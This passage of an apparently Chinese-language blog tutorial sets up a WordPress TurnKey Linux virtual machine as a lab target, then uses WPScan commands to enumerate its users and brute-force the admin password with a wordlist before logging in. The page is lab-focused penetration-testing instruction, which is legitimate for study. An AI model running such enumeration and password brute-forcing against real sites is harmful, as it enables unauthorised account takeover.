[*] Auxiliary module execution completed
msf6 auxiliary(scanner/postgres/postgres_login) >

攻击WordPress

WordPress 是一款免费开源的内容管理系统(CMS),它是建立和管理网站的强大工具。WordPress 最初是一个以博客为主的平台,但如今已经发展成为一个功能丰富、可灵活扩展的网站建设工具。
WordPress 提供了一个直观易用的后台管理界面,让用户可以方便地创建和编辑网站的内容。它支持插件和主题的安装和自定义,使用户能够根据自己的需求改变网站的外观和功能。此外,WordPress 还具备强大的社交媒体集成、搜索引擎优化和多语言支持等功能。
WordPress 的广泛使用和大量的开发者社区使得它拥有丰富的资源和支持,用户可以轻松找到各种插件、主题和教程来满足自己的需求。无论是个人博客、企业网站还是电子商务平台,WordPress 都能提供稳定可靠的解决方案。
总的来说,WordPress 是一款功能强大、易于使用且高度可定制的内容管理系统,它为用户提供了建立各种类型网站的理想平台。

下载WordPress Turnkey Linux

  1. 浏览器输入网址https://www.turnkeylinux.org/打开官网界面;也可直接下载我使用的版本在这里插入图片描述
  2. 在首页下滑可看见列出了许多的应用出现,本例选择wordpress。在这里插入图片描述
  3. 进入下载界面,选择ISO镜像,我选择的是V17.1版本(较最新版更稳定)。
    在这里插入图片描述

安装WordPress Turnkey Linux

  1. 在VMware中创建虚拟机,使用下载的ISO镜像,然后启动虚拟机,进入安装界面,默认选择Install to hard disk选项,按回车后开始安装。
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
  2. 系统提供了三种分区方法,本例选择默认的第一种,点击OK即可。
    在这里插入图片描述
  3. 此处提示是否确定之前的操作,点击Yes进入下一步。
    在这里插入图片描述
  4. 此处显示LVM的配置信息及使用引导分区的卷组来安装系统,点击OK进入下一步。
    在这里插入图片描述
  5. 此处显示磁盘的分区表信息,提示是否要写入数据,点击Yes进入下一步,开始写入后会显示复制数据的进度。
    在这里插入图片描述在这里插入图片描述
  6. 此处提示安装GRUB引导加载程序的主引导记录,点击Yes进入下一步。
    在这里插入图片描述
    在这里插入图片描述
  7. 此处显示安装结束,是否重启系统,选择Reboot system回车即可重启系统。
    在这里插入图片描述
  8. 待系统重启后会进入以下界面,要求为系统的root用户设置密码,而密码必须满足8位以上且复杂度超过3种以上。点击Ok后需要再次输入一次确认密码。
    在这里插入图片描述在这里插入图片描述
  9. 此处需要为MySQL服务的root用户设置密码,密码要求同上。点击OK后需再次输入一次以确认。
    在这里插入图片描述在这里插入图片描述
  10. 此处需要为WordPress·的管理员用户admin设置密码,密码要求同上。点击OK后需再次输入一次以确认。
    在这里插入图片描述在这里插入图片描述
  11. 此处需要为管理账户admin设置邮箱地址,然后点击Apply进入下一步。
    在这里插入图片描述
  12. 此处显示未初始化Hub服务,点击Skip跳过即可。
    在这里插入图片描述
  13. 此处提示是否开启系统通知和关键安全警报,点击Enable进入下一步。
    在这里插入图片描述
    在这里插入图片描述
  14. 此处提示是否安装安全更新,点击Install安装即可。
    在这里插入图片描述
    15 安装完成后,会显示WordPress应用服务的详细信息,点击Quit后输入系统root用户名及设置的密码后会再次进入此页面,这时可以点击Adv啊不测的Menu对相关配置进行修改。
    在这里插入图片描述
    至此,整个安装过程也就结束了。
    在这里插入图片描述

实施渗透攻击

WPScan是一款针对WordPress网站安全性评估和漏洞扫描的开源工具。它可以帮助管理员发现网站可能存在的安全风险,并提供建议和解决方案来加强网站的安全性。WPScan可以扫描WordPress网站以检测已知的漏洞、弱密码、敏感信息泄露等安全问题,并提供详细的报告和建议。这有助于网站管理员及时修复漏洞,提高网站的安全性。
WPScan具有易于使用的命令行界面和丰富的功能,包括对WordPress主题、插件和核心文件的漏洞扫描,用户枚举,密码暴力破解等。它还可以与其他安全工具集成,为WordPress站点的安全性提供全面的评估和保护。
下面介绍如何使用WPScan获取WordPress的用户名及密码。

  1. 在kali终端执行命令wpscan -h,查看wpscan的帮助信息,了解wpscan的版本信息以及使用方法等。在这里插入图片描述

  2. 本例的目标系统地址为192.168.100.25,在终端执行命令wpscan --url http://192.168.100.25 -e u vp对目标机进行扫描。如果wpscan工具没有升级到最新版,就会提示更新数据库。
    –url参数指定扫描目标的URL或名称
    -e参数后的u表示用户名从id1到5,vp表示仅使用漏洞插件而不是全部插件
    在这里插入图片描述

  3. 在显示的扫描结果中显示了目标系统的WordPress程序中只有一个admin用户。在这里插入图片描述

  4. 接下来就要针对扫描到的用户指定破解密码字典,密码字典本例做示范就未用工具生成,将该文件命名为passlist.txt。在这里插入图片描述

  5. 为WPScan指定这个字典,执行命令wpscan --url http://192.168.100.25 -P /root/桌面/passlist.txt -e u 开始破解,渗透结束可以在显示的信息看到admin密码被成功获取。在这里插入图片描述

  6. 用获取的用户名密码登录,进入博客管理界面,可见本次攻击成功。
    在这里插入图片描述在这里插入图片描述

  • 13
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

牛逼的路上跑了一半

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值